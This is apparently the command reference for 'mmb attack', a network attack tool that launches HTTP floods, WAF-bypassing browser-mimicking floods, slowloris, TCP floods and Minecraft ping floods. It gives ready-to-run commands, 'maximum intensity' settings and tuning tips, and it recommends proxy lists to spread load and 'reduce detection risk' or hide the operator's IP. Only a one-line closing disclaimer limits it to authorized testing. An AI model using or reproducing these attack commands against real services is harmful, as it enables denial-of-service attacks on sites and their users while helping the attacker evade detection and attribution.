mmb attack

Overview

The mmb attack command launches network stress tests against a specified target using various attack methods. It provides real-time statistics and colored output for monitoring attack progress.

Syntax

mmb attack [method] [target] [flags]

Arguments

string

required

The attack method to use. Must be one of:

http_flood - Send random HTTP requests
http_bypass - Send HTTP requests that mimic real browser requests (redirects, cookies, headers, resources)
http_slowloris - Send slow HTTP requests and keep connections open
tcp_flood - Send random TCP packets
minecraft_ping - Send Minecraft ping/MOTD requests

string

required

The target URL or address to attack. Format depends on the attack method:

HTTP methods: http://example.com or https://example.com
TCP flood: http://example.com or tcp://host:port
Minecraft ping: minecraft.example.com:25565

Flags

integer

default:"60"

Duration of the attack in seconds. The attack will automatically stop after this time period.

mmb attack http_flood http://example.com --duration 120

integer

default:"500"

Delay between packets in milliseconds. Lower values increase attack intensity but may cause instability.

mmb attack http_flood http://example.com --delay 100

integer

default:"512"

Size of each packet in bytes. Larger packets consume more bandwidth per request.

mmb attack tcp_flood http://example.com --packet-size 1024

integer

default:"0"

Number of concurrent threads to use. When set to 0 (default), uses the number of CPU cores available on the system.

mmb attack http_bypass http://example.com --threads 8

boolean

default:"false"

Enable verbose mode to show detailed attack logs, including individual request attempts and proxy usage.

mmb attack http_flood http://example.com --verbose

boolean

default:"false"

Allow running the attack without proxies. By default, the CLI requires proxies from data/proxies.txt. Use this flag to bypass that requirement.

Running attacks without proxies exposes your real IP address to the target server.

mmb attack minecraft_ping minecraft.example.com:25565 --no-proxy

string

Path to a custom configuration file (TOML format). If not specified, uses default configuration.

mmb attack http_flood http://example.com --config /path/to/config.toml

Output

The command displays real-time statistics during the attack:

Starting http_flood against http://example.com with 1234 proxies
04:05 PPS:450 Total:450 Proxies:1234
04:06 PPS:892 Total:1342 Proxies:1234
04:07 PPS:1205 Total:2547 Proxies:1234

Output Fields

Timestamp - Current time in HH:MM:SS format
PPS - Packets per second (current rate)
Total - Total packets sent since attack started
Proxies - Number of proxies being used

Verbose Mode Output

With --verbose flag enabled, additional detailed logs are shown:

Starting http_flood against http://example.com with 1234 proxies
Verbose mode enabled - showing detailed attack logs
15:04:05 PPS:450 Total:450 Proxies:1234 [proxy-1.example.com] → http://example.com
15:04:06 PPS:892 Total:1342 Proxies:1234 [proxy-2.example.com] → http://example.com

Examples

# Launch a basic HTTP flood attack with default settings
mmb attack http_flood http://example.com

# Run HTTP bypass attack for 2 minutes with 100ms delay
mmb attack http_bypass http://example.com --duration 120 --delay 100

# Maximum intensity with large packets and multiple threads
mmb attack http_flood http://example.com \
  --duration 300 \
  --delay 50 \
  --packet-size 2048 \
  --threads 16

# TCP flood with custom packet size
mmb attack tcp_flood http://example.com --packet-size 1024

# Test Minecraft server without proxies
mmb attack minecraft_ping minecraft.example.com:25565 --no-proxy

# HTTP Slowloris with verbose logging
mmb attack http_slowloris http://example.com --verbose

# Use custom config file with 8 threads
mmb attack http_bypass http://example.com \
  --config /path/to/custom.toml \
  --threads 8

Attack Methods

HTTP Flood

Sends rapid random GET/POST HTTP requests to overwhelm the target server.

mmb attack http_flood http://example.com

Best for: Basic HTTP stress testing, overwhelming server resources

HTTP Bypass

Mimics real browser behavior with realistic headers, cookies, and redirects to bypass basic protections.

mmb attack http_bypass http://example.com --duration 120

Best for: Testing WAF/DDoS protection, realistic traffic simulation

HTTP Slowloris

Sends slow HTTP requests that keep connections open, exhausting server connection pools.

mmb attack http_slowloris http://example.com

Best for: Connection exhaustion testing, low-bandwidth attacks

TCP Flood

Sends raw TCP packets with random data at the network layer.

mmb attack tcp_flood http://example.com --packet-size 1024

Best for: Network layer stress testing, protocol resilience testing

Minecraft Ping

Sends Minecraft server status/ping requests to test game server resilience.

mmb attack minecraft_ping minecraft.example.com:25565 --no-proxy

Best for: Minecraft server stress testing, MOTD request handling

Configuration

The CLI reads configuration from a TOML file (specified via --config or defaults). The configuration controls:

Proxies file location - Default: data/proxies.txt
User agents file location - Default: data/uas.txt

Proxy File Format

One proxy per line in data/proxies.txt:

http://proxy1.example.com:8080
http://user:pass@proxy2.example.com:3128
socks5://proxy3.example.com:1080
proxy4.example.com:8080
proxy5.example.com

Supported formats:

protocol://user:password@host:port - Full format with authentication
protocol://host:port - Without authentication
host:port - Uses HTTP as default protocol
host - Uses HTTP and port 8080 as defaults

User Agents File Format

One user agent string per line in data/uas.txt:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36

Stopping an Attack

Press Ctrl+C to gracefully stop a running attack:

15:04:05 PPS:450 Total:450 Proxies:1234
^C
Stopping...

The attack will stop immediately and clean up resources.

Error Handling

No Proxies Available

No proxies available (file: data/proxies.txt). Use --no-proxy to proceed.

Solution: Either add proxies to data/proxies.txt or use --no-proxy flag.

Unsupported Attack Method

Error: unsupported attack method

Solution: Check that the method name is correct and matches one of the supported methods.

Invalid Target Format

Error: invalid target format

Solution: Ensure the target URL/address is in the correct format for the chosen attack method.

Performance Tips

Optimize thread count: Start with default (number of CPUs) and adjust based on system performance. More threads don’t always mean better performance.

Balance delay and intensity: Lower --delay values increase attack intensity but may overwhelm your network or system. Start with defaults and decrease gradually.

Use proxies effectively: More proxies distribute load better and reduce detection risk. Ensure proxy list is fresh and working.

High-intensity attacks (low delay, many threads, large packets) can consume significant system resources and bandwidth. Monitor system performance during attacks.

Legal and Ethical Use

This tool is for educational purposes and authorized testing only. Only use against systems you own or have explicit written permission to test. Unauthorized stress testing is illegal in most jurisdictions.
